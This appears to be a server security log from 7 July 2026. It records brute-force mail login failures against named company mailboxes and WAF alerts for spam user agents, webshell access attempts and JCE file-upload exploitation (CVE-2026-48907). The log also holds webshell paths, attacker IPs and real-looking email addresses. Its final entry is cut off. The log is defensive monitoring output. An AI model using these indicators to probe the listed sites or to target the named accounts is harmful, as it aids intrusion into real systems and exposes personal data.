rule: 13001
name: Exim Auth failed
abuser: 91.86.88.24
country_id: 2802361
description:
2026-07-07 04:14:58 dovecot_login authenticator failed for H=([192.111.134.12]) [91.86.88.24]:51530: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 69.48.202.178
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://www.louisiananewsupdates.com/news/story/574135/home-renovation-in-milton-wa-by-home-renovation-design-build-delivers-stylish-home-improvements.html\">home remodeling Fife WA</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-07 04:20:45 dovecot_login authenticator failed for H=([116.7.248.50]) [65.20.233.110]:37395: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-07 04:21:01 dovecot_login authenticator failed for H=([24.234.239.57]) [50.212.27.150]:52186: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.66.168
country_id: 1835841
description:
2026-07-07 04:21:06 dovecot_login authenticator failed for H=([218.92.251.198]) [220.80.66.168]:44697: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.43.243.158
country_id: 6252001
description:
2026-07-07 04:21:20 dovecot_login authenticator failed for H=67-43-243-158.fidnet.com ([162.253.68.102]) [67.43.243.158]:46204: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.167.235.55
country_id: 6252001
description:
2026-07-07 04:21:35 dovecot_login authenticator failed for H=wsip-70-167-235-55.pn.at.cox.net (93-48-224-114.ip259.fastwebnet.it) [70.167.235.55]:47508: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.195.163
country_id: 1835841
description:
2026-07-07 04:23:16 dovecot_login authenticator failed for H=([49.124.151.17]) [124.153.195.163]:38785: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-07 04:23:48 dovecot_login authenticator failed for H=([192.252.208.66]) [172.191.74.151]:39796: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.71
country_id: 1733045
description:
2026-07-07 04:24:07 dovecot_login authenticator failed for H=([196.189.59.226]) [49.124.151.71]:53670: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-07 04:26:01 dovecot_login authenticator failed for H=([220.77.214.59]) [14.38.177.105]:36210: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: jaashsupplies.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/jaashsupplies/public_html/index.php||User:jaashsupplies||WPU:||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.18.81.59
country_id: 1562822
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/business-gravity-img-10-1170x710/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-07 04:29:49 dovecot_login authenticator failed for H=([199.116.114.10]) [182.78.112.174]:60964: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.81.133.182
country_id: 1835841
description:
2026-07-07 04:30:03 dovecot_login authenticator failed for H=(host-pq.vsg1-a.v4.dfn.nl) [61.81.133.182]:53587: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 9.223.178.131
country_id: 2661886
domain: keralapeople.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.25||T:APACHE||SC:/home/keralapeople/public_html/index.php||User:keralapeople||WPU:||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-07 04:40:21 dovecot_login authenticator failed for H=([80.233.12.109]) [183.82.56.12]:64614: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.216.198.132
country_id: 630336
description:
2026-07-07 04:39:37 dovecot_login authenticator failed for H=([184.151.85.100]) [46.216.198.132]:42868: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.115.211.6
country_id: 2635167
description:
2026-07-07 04:40:08 dovecot_login authenticator failed for H=6.211.115.87.dyn.plus.net ([119.146.91.181]) [87.115.211.6]:59786: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-07 04:42:46 dovecot_login authenticator failed for H=([61.111.255.216]) [152.52.192.162]:58856: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.251.249.117
country_id: 2300660
description:
2026-07-07 04:43:34 dovecot_login authenticator failed for H=([103.168.241.32]) [197.251.249.117]:38830: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-07 04:48:12 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([112.23.27.22]) [111.70.11.38]:54960: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-07-07 04:48:47 dovecot_login authenticator failed for H=(nsg-corporate-130.221.187.122.airtel.in) [65.20.167.160]:42019: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.248.166.195
country_id: 1831722
description:
2026-07-07 04:49:05 dovecot_login authenticator failed for H=([123.163.52.74]) [124.248.166.195]:45647: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.200
country_id: 1733045
description:
2026-07-07 04:51:39 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [49.124.148.200]:48706: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-07 04:52:13 dovecot_login authenticator failed for H=([72.207.33.65]) [120.29.140.188]:36736: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.49.199.97
country_id: 6252001
description:
2026-07-07 04:53:08 dovecot_login authenticator failed for H=([122.187.174.78]) [76.49.199.97]:36834: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: arcrealtors.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/arcrealtorscom/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-07 04:54:06 dovecot_login authenticator failed for H=([104.37.135.150]) [125.19.163.58]:52764: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-07 04:54:57 dovecot_login authenticator failed for H=(static-193-217-0-16.cust.tele2.lt) [41.219.149.74]:15682: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.121.148
country_id: 1861060
domain: arcrealtors.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/hega.php||SC:/home/arcrealtorscom/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-07 04:56:50 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([24.45.137.84]) [80.223.190.179]:45150: 535 Incorrect authentication data (set_id=marketing@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-07 04:57:02 dovecot_login authenticator failed for H=([121.120.147.200]) [51.116.117.203]:55087: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.215.192
country_id: 3865483
description:
2026-07-07 04:59:07 dovecot_login authenticator failed for H=([59.28.170.183]) [138.118.215.192]:53407: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.54.99.50
country_id: 294640
description:
2026-07-07 05:01:37 dovecot_login authenticator failed for H=([182.73.49.249]) [2.54.99.50]:49408: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.168
country_id: 337996
description:
2026-07-07 05:01:58 dovecot_login authenticator failed for H=([58.34.174.90]) [196.190.220.168]:40948: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-07 05:02:24 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([183.6.115.88]) [89.67.246.166]:54095: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-07 05:11:19 dovecot_login authenticator failed for H=([111.36.152.14]) [119.92.76.210]:38314: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 96.56.228.149
country_id: 6252001
description:
2026-07-07 05:10:53 dovecot_login authenticator failed for H=ool-6038e495.static.optonline.net (177-174-0-3.user.vivozap.com.br) [96.56.228.149]:53720: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.236
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb8\xb5; <a href=\"http://onlyxvids.com/video-tag/onlyfans/\">onlyxvids.com</a>, (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-07 05:15:52 dovecot_login authenticator failed for H=(ool-457e901e.dyn.optonline.net) [27.110.176.222]:54415: 535 Incorrect authentication data (set_id=sales@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.127.25.202
country_id: 6252001
description:
2026-07-07 05:16:06 dovecot_login authenticator failed for H=([188.151.160.50]) [20.127.25.202]:25674: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.88.116.62
country_id: 1880251
description:
2026-07-07 05:16:08 dovecot_login authenticator failed for H=([182.78.69.178]) [116.88.116.62]:60530: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.45.84.119
country_id: 2589581
description:
2026-07-07 05:16:23 dovecot_login authenticator failed for H=([192.111.134.12]) [129.45.84.119]:56222: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-07-07 05:17:04 dovecot_login authenticator failed for H=([65.20.149.239]) [152.52.227.94]:34326: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-07 05:17:42 dovecot_login authenticator failed for H=([49.124.151.15]) [41.219.149.74]:37146: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77469916
abuser: 111.221.44.115
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce6e8gyhie.xml.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.166.24.237
country_id: 1562822
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/28/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.232.211
country_id: 1269750
description:
2026-07-07 05:25:37 dovecot_login authenticator failed for H=([37.238.45.202]) [106.201.232.211]:59807: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-07 05:28:42 dovecot_login authenticator failed for H=([174.75.211.198]) [182.95.150.106]:58770: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.108.161
country_id: 1668284
description:
2026-07-07 05:29:00 dovecot_login authenticator failed for H=110-25-108-161.adsl.fetnet.net (81-236-211-54-no2550.tbcn.telia.com) [110.25.108.161]:32795: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-07 05:32:30 dovecot_login authenticator failed for H=(217-29-30-135.saimanet.kg) [59.6.72.106]:1873: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-07 05:31:44 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [65.20.202.4]:40292: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-07 05:31:57 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi (ip-142-54-226-210.hosts.zerolag.com) [80.223.163.253]:46242: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 157.66.54.188
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142114r77142193||MV:05-32.157.66.54.188||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-07 05:33:03 dovecot_login authenticator failed for H=(syn-076-089-199-082.res.spectrum.com) [65.20.131.63]:40270: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.104.100
country_id: 2077456
description:
2026-07-07 05:33:45 dovecot_login authenticator failed for H=([49.124.153.44]) [220.240.104.100]:53037: 535 Incorrect authentication data (set_id=admin@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-07 05:34:03 dovecot_login authenticator failed for H=([222.104.76.94]) [174.134.45.64]:49435: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77469916
abuser: 152.42.225.238
country_id: 1880251
domain: www.kallanigroup.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1783382695_qkcfw.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 152.42.225.238
country_id: 1880251
domain: www.kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/shxt_1783382706_gdegq.php||SC:/home/kallanigroup/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.197.12.104
country_id: 1835841
description:
2026-07-07 05:36:07 dovecot_login authenticator failed for H=(110-25-109-52.adsl.fetnet.net) [211.197.12.104]:41628: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-07 05:36:18 dovecot_login authenticator failed for H=([183.171.61.221]) [222.109.73.135]:50841: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.197.168.53
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://solo.to/kingslot96\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-07 05:36:54 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net ([210.178.251.33]) [111.70.22.153]:52389: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.161
country_id: 337996
description:
2026-07-07 05:37:39 dovecot_login authenticator failed for H=(n233-h209.a-tc.net) [196.190.43.161]:42412: 535 Incorrect authentication data (set_id=no-reply@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.191.74.151
country_id: 6252001
description:
2026-07-07 05:38:06 dovecot_login authenticator failed for H=(ip-104-200-152-25.hosts.zerolag.com) [172.191.74.151]:40420: 535 Incorrect authentication data (set_id=no-reply)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.39.147
country_id: 1269750
description:
2026-07-07 05:41:28 dovecot_login authenticator failed for H=(201-60-198-162.bbone.telesp.net.br) [103.171.39.147]:46588: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.236.138
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.25||T:APACHE||RA:173.208.236.138||TA:173.208.236.138||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.91.251.133
country_id: 3017382
description:
2026-07-07 05:44:28 dovecot_plain authenticator failed for H=133.251.91.79.rev.sfr.net (ammia) [79.91.251.133]:48312: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/paperiounblocked2?lang=GB\">paper.io</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-07 05:46:00 dovecot_login authenticator failed for H=(62-20-205-17-no2360.tbcn.telia.com) [182.95.109.138]:40748: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.128.84.224
country_id: 1835841
description:
2026-07-07 05:47:27 dovecot_login authenticator failed for H=([184.185.2.1]) [121.128.84.224]:36224: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.222.128.38
country_id: 241170
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/images/2024/08/27/audiosystem.jpg HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-07 05:48:22 dovecot_login authenticator failed for H=([5.29.145.171]) [65.20.133.56]:42352: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.32
country_id: 1733045
description:
2026-07-07 05:48:37 dovecot_login authenticator failed for H=([218.156.8.97]) [49.124.152.32]:48896: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.155
country_id: 1835841
description:
2026-07-07 05:49:12 dovecot_login authenticator failed for H=([112.27.129.78]) [121.131.220.155]:35302: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.118
country_id: 1269750
description:
2026-07-07 05:51:08 dovecot_login authenticator failed for H=(h205-250-25-62.ptr.cidc.telus.com) [182.95.106.118]:52956: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.233.110
country_id: 99237
description:
2026-07-07 05:51:21 dovecot_login authenticator failed for H=(93.102.230.82.rev.optimus.pt) [65.20.233.110]:56010: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.76.59.180
country_id: 1269750
description:
2026-07-07 05:54:00 dovecot_login authenticator failed for H=([174.94.236.211]) [103.76.59.180]:43053: 535 Incorrect authentication data (set_id=it@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-07 05:54:15 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([37.204.111.153]) [213.66.197.199]:46556: 535 Incorrect authentication data (set_id=it)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-07 05:54:49 dovecot_login authenticator failed for H=([212.251.0.147]) [182.95.106.138]:40178: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.138
country_id: 1269750
description:
2026-07-07 05:55:06 dovecot_login authenticator failed for H=([174.64.199.87]) [182.95.226.138]:41396: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.160
country_id: 99237
description:
2026-07-07 05:56:04 dovecot_login authenticator failed for H=([58.215.207.238]) [65.20.167.160]:33762: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.197.220.5
country_id: 6252001
description:
2026-07-07 05:56:26 dovecot_login authenticator failed for H=(137.173.198.203.static.netvigator.com) [74.197.220.5]:33318: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.106
country_id: 1269750
description:
2026-07-07 05:58:48 dovecot_login authenticator failed for H=(mx-ll-171.6.10-57.dynamic.3bb.in.th) [122.185.146.106]:39020: 535 Incorrect authentication data (set_id=contact@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.77.214.59
country_id: 1835841
description:
2026-07-07 05:59:03 dovecot_login authenticator failed for H=([203.193.168.136]) [220.77.214.59]:50781: 535 Incorrect authentication data (set_id=contact)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.169.200
country_id: 1880251
domain: mail.elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/elegantautomotiv/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.2.250
country_id: 1269750
description:
2026-07-07 06:00:14 dovecot_login authenticator failed for H=(netcomafrica.com) [117.205.2.250]:60795: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.16.27.210
country_id: 1269750
description:
2026-07-07 06:00:27 dovecot_login authenticator failed for H=([220.178.246.43]) [125.16.27.210]:60752: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-07 06:01:31 dovecot_login authenticator failed for H=([197.156.121.38]) [195.222.43.138]:38172: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.196.11
country_id: 2661886
description:
2026-07-07 06:01:58 dovecot_login authenticator failed for H=213-66-196-11-no2550.tbcn.telia.com (62-20-205-17-no2360.tbcn.telia.com) [213.66.196.11]:36594: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-07 06:02:23 dovecot_login authenticator failed for H=([49.125.203.166]) [171.244.60.35]:40769: 535 Incorrect authentication data (set_id=office@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-07 06:02:36 dovecot_login authenticator failed for H=([175.211.210.234]) [103.163.44.10]:37134: 535 Incorrect authentication data (set_id=office)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.107.113
country_id: 1835841
description:
2026-07-07 06:07:34 dovecot_login authenticator failed for H=(wsip-184-178-172-12.rn.hr.cox.net) [59.8.107.113]:45323: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-07 06:08:01 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([49.124.153.50]) [73.203.17.220]:50880: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-07 06:08:22 dovecot_login authenticator failed for H=([192.252.214.22]) [196.188.187.21]:56244: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.44.213.142
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://ace90bet.bet\">\xd8\xb3\xd8\xa7\xdb\x8c\xd8\xaa \xd8\xb4\xd8\xb1\xd8\xb7 \xd8\xa8\xd9\x86\xd8\xaf\xdb\x8c \xd8\xac\xd8\xa7\xd9\x85 \xd8\xac\xd9\x87\xd8\xa7\xd9\x86\xdb\x8c</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.154
country_id: 1835841
description:
2026-07-07 06:12:46 dovecot_login authenticator failed for H=([206.220.175.5]) [121.131.220.154]:53994: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-07 06:13:29 dovecot_login authenticator failed for H=([74.119.147.213]) [222.97.195.179]:33412: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
